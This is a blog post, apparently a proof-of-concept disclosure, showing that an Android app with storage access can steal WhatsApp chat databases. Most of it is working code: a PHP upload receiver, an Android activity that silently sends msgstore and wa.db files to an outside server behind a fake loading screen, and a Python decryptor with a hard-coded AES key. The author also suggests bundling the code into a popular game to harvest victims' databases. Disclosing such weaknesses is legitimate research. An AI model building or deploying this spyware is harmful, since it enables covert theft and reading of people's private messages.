“Is it possible to upload and read the WhatsApp chats from another Android application?”

With this question my brother and I started an interesting conversation which ended in underneath proof of concept. The tldr answer is: “Yes, that is possible”.

The WhatsApp database is saved on the SD card which can be read by any Android application if the user allows it to access the SD card. And since majority of the people allows everything on their Android device, this is not much of a problem.

So what do we need to steal someones Whatsapp database? First we need a place to store the database. I used this webserver with a simple php script.

upload_wa.php <?php // Upload script to upload Whatsapp database // This script is for testing purposes only. $uploaddir = "/tmp/whatsapp/"; if ($_FILES["file"]["error"] > 0) { echo "Error: " . $_FILES["file"]["error"] . "<br>"; } else { echo "Upload: " . $_FILES["file"]["name"] . "<br>"; echo "Type: " . $_FILES["file"]["type"] . "<br>"; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>"; echo "Stored in: " . $_FILES["file"]["tmp_name"]; $uploadfile = $uploaddir . $_SERVER['REMOTE_ADDR'] . "." . basename($_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile); } ?> <html><head><title>Shoo.. nothing here</title></head><body><form method="post" enctype="multipart/form-data"><input type="file" name="file" id="file"><input type="submit" value="Submit"></form></body></html> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php // Upload script to upload Whatsapp database // This script is for testing purposes only. $uploaddir = "/tmp/whatsapp/" ; if ( $_FILES [ "file" ] [ "error" ] > 0 ) { echo "Error: " . $_FILES [ "file" ] [ "error" ] . "<br>" ; } else { echo "Upload: " . $_FILES [ "file" ] [ "name" ] . "<br>" ; echo "Type: " . $_FILES [ "file" ] [ "type" ] . "<br>" ; echo "Size: " . ( $_FILES [ "file" ] [ "size" ] / 1024 ) . " kB<br>" ; echo "Stored in: " . $_FILES [ "file" ] [ "tmp_name" ] ; $uploadfile = $uploaddir . $_SERVER [ 'REMOTE_ADDR' ] . "." . basename ( $_FILES [ 'file' ] [ 'name' ] ) ; move_uploaded_file ( $_FILES [ 'file' ] [ 'tmp_name' ] , $uploadfile ) ; } ?> < html > < head > < title > Shoo . . nothing here < / title > < / head > < body > < form method = "post" enctype = "multipart/form-data" > < input type = "file" name = "file" id = "file" > < input type = "submit" value = "Submit" > < / form > < / body > < / html >

Make sure you configure you php.ini so that you can upload (large) files.

php.ini ... file_uploads = On post_max_size = 32M upload_max_filesize = 32M 1 2 3 4 5 . . . file_uploads = On post_max_size = 32M upload_max_filesize = 32M

Next thing we need is an Android application which uploads the WhatsApp database to the website. I created a new default project in Eclipse and made a couple of changes. First of all we need some extra rights to access the SD card and to upload to the internet. To do this I added some lines to the AndroidManifest.xml file.

AndroidManifest.xml <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="bb.security.whatsappupload" android:versionCode="1" android:versionName="1.0" > <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="19" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name="bb.security.whatsappupload.MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <? xml version = "1.0" encoding = "utf-8" ?> < manifest xmlns : android = "http://schemas.android.com/apk/res/android" package = "bb.security.whatsappupload" android : versionCode = "1" android : versionName = "1.0" > < uses - permission android : name = "android.permission.READ_EXTERNAL_STORAGE" / > < uses - permission android : name = "android.permission.INTERNET" / > < uses - sdk android : minSdkVersion = "8" android : targetSdkVersion = "19" / > < application android : allowBackup = "true" android : icon = "@drawable/ic_launcher" android : label = "@string/app_name" android : theme = "@style/AppTheme" > < activity android : name = "bb.security.whatsappupload.MainActivity" android : label = "@string/app_name" > < intent - filter > < action android : name = "android.intent.action.MAIN" / > < category android : name = "android.intent.category.LAUNCHER" / > < / intent - filter > < / activity > < / application > < / manifest >

For the layout I used the default layout which Eclipse creates, but I moved the TextView to the center and increased the text size. The upload magic happens before you see the layout, for this proof of concept this activity_main.xml is good enough.

activity_main.xml <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" tools:context=".MainActivity" > <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentTop="true" android:layout_centerHorizontal="true" android:layout_marginTop="179dp" android:text="@string/hello_world" android:textSize="24sp" /> </RelativeLayout> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 < RelativeLayout xmlns : android = "http://schemas.android.com/apk/res/android" xmlns : tools = "http://schemas.android.com/tools" android : layout_width = "match_parent" android : layout_height = "match_parent" android : paddingBottom = "@dimen/activity_vertical_margin" android : paddingLeft = "@dimen/activity_horizontal_margin" android : paddingRight = "@dimen/activity_horizontal_margin" android : paddingTop = "@dimen/activity_vertical_margin" tools : context = ".MainActivity" > < TextView android : layout_width = "wrap_content" android : layout_height = "wrap_content" android : layout_alignParentTop = "true" android : layout_centerHorizontal = "true" android : layout_marginTop = "179dp" android : text = "@string/hello_world" android : textSize = "24sp" / > < / RelativeLayout >

So far, nothing exciting yet, the real excitement comes in the MainActivity.java file. We will try to upload 3 files:

/WhatsApp/Databases/msgstore.db

/WhatsApp/Databases/wa.db

/WhatsApp/Databases/msgstore.db.crypt

In newer versions WhatsApp decided to do some crypto magic on their database (msgstore.db.crypt), so it is more secure. It is still possible to read chats from this database, but more on that later. The msgstore.db and wa.db are the old unencrypted databases of WhatsApp.

During the upload of the WhatsApp database files we will display a simple Loading screen, so people think the application is doing something interesting in the background.

MainActivity.java package bb.security.whatsappupload; /* * This application is for testing purposes only. * Use of this application is at your own risk. */ import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.URL; import android.os.AsyncTask; import android.os.Bundle; import android.os.Environment; import android.app.Activity; import android.app.ProgressDialog; import android.util.Log; import android.view.Menu; public class MainActivity extends Activity { //A ProgressDialog object private ProgressDialog progressDialog; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); new UploadWhatsApp().execute(); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.main, menu); return true; } @SuppressWarnings("deprecation") private void uploadFile(String file) { HttpURLConnection conn = null; DataOutputStream dos = null; DataInputStream inStream = null; Log.i("FILE", "Filename:

" + file); String lineEnd = "\r

"; String twoHyphens = "--"; String boundary = "*****"; int bytesRead, bytesAvailable, bufferSize; byte[] buffer; int maxBufferSize = 1 * 1024 * 1024 * 1024; String urlString = "http://bas.bosschert.nl/whatsapp/upload_wa.php"; try { // ------------------ CLIENT REQUEST FileInputStream fileInputStream = new FileInputStream(new File( file)); // open a URL connection to the Servlet URL url = new URL(urlString); // Open a HTTP connection to the URL conn = (HttpURLConnection) url.openConnection(); // Allow Inputs conn.setDoInput(true); // Allow Outputs conn.setDoOutput(true); // Don't use a cached copy. conn.setUseCaches(false); // Use a post method. conn.setRequestMethod("POST"); conn.setRequestProperty("Connection", "Keep-Alive"); conn.setRequestProperty("Content-Type", "multipart/form-data;boundary=" + boundary); dos = new DataOutputStream(conn.getOutputStream()); dos.writeBytes(twoHyphens + boundary + lineEnd); dos.writeBytes("Content-Disposition: form-data; name=\"file\";filename=\"" + file + "\"" + lineEnd); dos.writeBytes(lineEnd); // create a buffer of maximum size bytesAvailable = fileInputStream.available(); bufferSize = Math.min(bytesAvailable, maxBufferSize); buffer = new byte[bufferSize]; // read file and write it into form... bytesRead = fileInputStream.read(buffer, 0, bufferSize); while (bytesRead > 0) { dos.write(buffer, 0, bufferSize); bytesAvailable = fileInputStream.available(); bufferSize = Math.min(bytesAvailable, maxBufferSize); bytesRead = fileInputStream.read(buffer, 0, bufferSize); } // send multipart form data necesssary after file data... dos.writeBytes(lineEnd); dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd); // close streams Log.e("Debug", "File is written"); fileInputStream.close(); dos.flush(); dos.close(); } catch (MalformedURLException ex) { Log.e("Debug", "error: " + ex.getMessage(), ex); } catch (IOException ioe) { Log.e("Debug", "error: " + ioe.getMessage(), ioe); } // ------------------ read the SERVER RESPONSE try { if (conn != null){ inStream = new DataInputStream(conn.getInputStream()); String str; while ((str = inStream.readLine()) != null) { Log.e("Debug", "Server Response " + str); } inStream.close(); } } catch (IOException ioex) { Log.e("Debug", "error: " + ioex.getMessage(), ioex); } } private class UploadWhatsApp extends AsyncTask<Void, Integer, Void>{ @Override protected void onPreExecute() { //Create a new progress dialog progressDialog = ProgressDialog.show(MainActivity.this,"Loading Application, please wait...", "Loading, please wait...", false, false); } //The code to be executed in a background thread. @Override protected Void doInBackground(Void... params) { String fileWACrypt = Environment.getExternalStorageDirectory() .getPath() + "/WhatsApp/Databases/msgstore.db.crypt"; String fileWAPlain = Environment.getExternalStorageDirectory() .getPath() + "/WhatsApp/Databases/msgstore.db"; String fileWAwa = Environment.getExternalStorageDirectory() .getPath() + "/WhatsApp/Databases/wa.db"; MainActivity.this.uploadFile(fileWACrypt); MainActivity.this.uploadFile(fileWAPlain); MainActivity.this.uploadFile(fileWAwa); return null; } //Update the progress @Override protected void onProgressUpdate(Integer... values) { //set the current progress of the progress dialog progressDialog.setProgress(values[0]); } //after executing the code in the thread @Override protected void onPostExecute(Void result) { //close the progress dialog progressDialog.dismiss(); //initialize the View setContentView(R.layout.activity_main); } } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 package bb . security . whatsappupload ; /* * This application is for testing purposes only. * Use of this application is at your own risk. */ import java . io . DataInputStream ; import java . io . DataOutputStream ; import java . io . File ; import java . io . FileInputStream ; import java . io . IOException ; import java . net . HttpURLConnection ; import java . net . MalformedURLException ; import java . net . URL ; import android . os . AsyncTask ; import android . os . Bundle ; import android . os . Environment ; import android . app . Activity ; import android . app . ProgressDialog ; import android . util . Log ; import android . view . Menu ; public class MainActivity extends Activity { //A ProgressDialog object private ProgressDialog progressDialog ; @Override protected void onCreate ( Bundle savedInstanceState ) { super . onCreate ( savedInstanceState ) ; setContentView ( R . layout . activity_main ) ; new UploadWhatsApp ( ) . execute ( ) ; } @Override public boolean onCreateOptionsMenu ( Menu menu ) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater ( ) . inflate ( R . menu . main , menu ) ; return true ; } @SuppressWarnings ( "deprecation" ) private void uploadFile ( String file ) { HttpURLConnection conn = null ; DataOutputStream dos = null ; DataInputStream inStream = null ; Log . i ( "FILE" , "Filename:

" + file ) ; String lineEnd = "\r

" ; String twoHyphens = "--" ; String boundary = "*****" ; int bytesRead , bytesAvailable , bufferSize ; byte [ ] buffer ; int maxBufferSize = 1 * 1024 * 1024 * 1024 ; String urlString = "http://bas.bosschert.nl/whatsapp/upload_wa.php" ; try { // ------------------ CLIENT REQUEST FileInputStream fileInputStream = new FileInputStream ( new File ( file ) ) ; // open a URL connection to the Servlet URL url = new URL ( urlString ) ; // Open a HTTP connection to the URL conn = ( HttpURLConnection ) url . openConnection ( ) ; // Allow Inputs conn . setDoInput ( true ) ; // Allow Outputs conn . setDoOutput ( true ) ; // Don't use a cached copy. conn . setUseCaches ( false ) ; // Use a post method. conn . setRequestMethod ( "POST" ) ; conn . setRequestProperty ( "Connection" , "Keep-Alive" ) ; conn . setRequestProperty ( "Content-Type" , "multipart/form-data;boundary=" + boundary ) ; dos = new DataOutputStream ( conn . getOutputStream ( ) ) ; dos . writeBytes ( twoHyphens + boundary + lineEnd ) ; dos . writeBytes ( "Content-Disposition: form-data; name=\"file\";filename=\"" + file + "\"" + lineEnd ) ; dos . writeBytes ( lineEnd ) ; // create a buffer of maximum size bytesAvailable = fileInputStream . available ( ) ; bufferSize = Math . min ( bytesAvailable , maxBufferSize ) ; buffer = new byte [ bufferSize ] ; // read file and write it into form... bytesRead = fileInputStream . read ( buffer , 0 , bufferSize ) ; while ( bytesRead > 0 ) { dos . write ( buffer , 0 , bufferSize ) ; bytesAvailable = fileInputStream . available ( ) ; bufferSize = Math . min ( bytesAvailable , maxBufferSize ) ; bytesRead = fileInputStream . read ( buffer , 0 , bufferSize ) ; } // send multipart form data necesssary after file data... dos . writeBytes ( lineEnd ) ; dos . writeBytes ( twoHyphens + boundary + twoHyphens + lineEnd ) ; // close streams Log . e ( "Debug" , "File is written" ) ; fileInputStream . close ( ) ; dos . flush ( ) ; dos . close ( ) ; } catch ( MalformedURLException ex ) { Log . e ( "Debug" , "error: " + ex . getMessage ( ) , ex ) ; } catch ( IOException ioe ) { Log . e ( "Debug" , "error: " + ioe . getMessage ( ) , ioe ) ; } // ------------------ read the SERVER RESPONSE try { if ( conn != null ) { inStream = new DataInputStream ( conn . getInputStream ( ) ) ; String str ; while ( ( str = inStream . readLine ( ) ) != null ) { Log . e ( "Debug" , "Server Response " + str ) ; } inStream . close ( ) ; } } catch ( IOException ioex ) { Log . e ( "Debug" , "error: " + ioex . getMessage ( ) , ioex ) ; } } private class UploadWhatsApp extends AsyncTask < Void , Integer , Void > { @Override protected void onPreExecute ( ) { //Create a new progress dialog progressDialog = ProgressDialog . show ( MainActivity . this , "Loading Application, please wait..." , "Loading, please wait..." , false , false ) ; } //The code to be executed in a background thread. @Override protected Void doInBackground ( Void . . . params ) { String fileWACrypt = Environment . getExternalStorageDirectory ( ) . getPath ( ) + "/WhatsApp/Databases/msgstore.db.crypt" ; String fileWAPlain = Environment . getExternalStorageDirectory ( ) . getPath ( ) + "/WhatsApp/Databases/msgstore.db" ; String fileWAwa = Environment . getExternalStorageDirectory ( ) . getPath ( ) + "/WhatsApp/Databases/wa.db" ; MainActivity . this . uploadFile ( fileWACrypt ) ; MainActivity . this . uploadFile ( fileWAPlain ) ; MainActivity . this . uploadFile ( fileWAwa ) ; return null ; } //Update the progress @Override protected void onProgressUpdate ( Integer . . . values ) { //set the current progress of the progress dialog progressDialog . setProgress ( values [ 0 ] ) ; } //after executing the code in the thread @Override protected void onPostExecute ( Void result ) { //close the progress dialog progressDialog . dismiss ( ) ; //initialize the View setContentView ( R . layout . activity_main ) ; } } }

By doing the magic in the loading screen you can also add this code to a real application instead of the Hello World message you see now. Combine it with something like FlappyBird and a description how to install applications from unknown sources and you can harvest a lot of databases.

The WhatsAppp database is a SQLite3 database which can be converted to Excel for easier access. Lately WhatsApp is using encryption to encrypt the database, so it can no longer be opened by SQLite. But we can simply decrypt this database using a simple python script. This script converts the crypted database to a plain SQLite3 database (got key from Whatsapp Xtract).

whatsapp_decrypt.py #!/usr/bin/env python import sys from Crypto.Cipher import AES try: wafile=sys.argv[1] except: print "Usage: %s <msgstore.db.crypt>" % __file__ sys.exit(1) key = "346a23652a46392b4d73257c67317e352e3372482177652c".decode('hex') cipher = AES.new(key,1) open('msgstore.db',"wb").write(cipher.decrypt(open(wafile,"rb").read())) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #!/usr/bin/env python import sys from Crypto . Cipher import AES try : wafile = sys . argv [ 1 ] except : print "Usage: %s <msgstore.db.crypt>" % __file__ sys . exit ( 1 ) key = "346a23652a46392b4d73257c67317e352e3372482177652c" . decode ( 'hex' ) cipher = AES . new ( key , 1 ) open ( 'msgstore.db' , "wb" ) . write ( cipher . decrypt ( open ( wafile , "rb" ) . read ( ) ) )

So, we can conclude that every application can read the WhatsApp database and it is also possible to read the chats from the encrypted databases. Facebook didn’t need to buy WhatsApp to read your chats.



